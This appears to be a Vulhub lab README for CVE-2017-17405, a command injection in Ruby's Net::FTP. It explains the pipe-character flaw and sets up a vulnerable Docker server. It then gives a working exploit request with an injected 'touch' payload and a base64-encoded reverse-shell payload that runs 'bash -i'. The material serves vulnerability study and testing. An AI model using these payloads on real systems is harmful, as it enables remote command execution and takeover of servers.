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+# Ruby Net::FTP Module Command Injection (CVE-2017-17405)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Ruby Net::FTP module is a FTP library provided by Ruby core.
+
+Ruby before 2.4.3 allows Net::FTP command injection. `Net::FTP#get`, `getbinaryfile`, `gettextfile`, `put`, `putbinaryfile`, and `puttextfile` use `Kernel#open` to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is `File.basename(remotefile)`, so malicious FTP servers could cause arbitrary command execution.
+
+References:
+
+- <https://blog.heroku.com/identifying-ruby-ftp-cve>
+- <https://www.exploit-db.com/exploits/43381>
+
+## Vulnerable environment
+
+Execute following command to start a Ruby 2.4.1 webserver that uses Net::FTP to download FTP file:
+
+```
+docker compose up -d
+```
+
+After the server is started, a simple webserver is running on `http://your-ip:8080/`. What this server does is that when we visit `http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`, it downloads the file `vulhub.txt` from FTP server `example.com:2121`.
+
+## Exploit
+
+Since this is an FTP client vulnerability, we have to to run a simple FTP server that can be accessed. For example, using Python's pyftpdlib:
+
+```
+# intsall pyftpdlib
+pip install pyftpdlib
+
+# start a FTP server on `0.0.0.0:2121`
+python3 -m pyftpdlib -p 2121 -i 0.0.0.0
+```
+
+Then, use this FTP server address as the *uri* parameter and the payload `|touch${IFS}success.txt` as the *file* parameter in following request:
+
+```
+GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+
+
+```
+
+![](1.png)
+
+Go into the docker container, you can see the `success.txt` has been created successfully:
+
+![](2.png)
+
+Change the payload to `|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'` and get a reverse shell:
+
+![](3.png)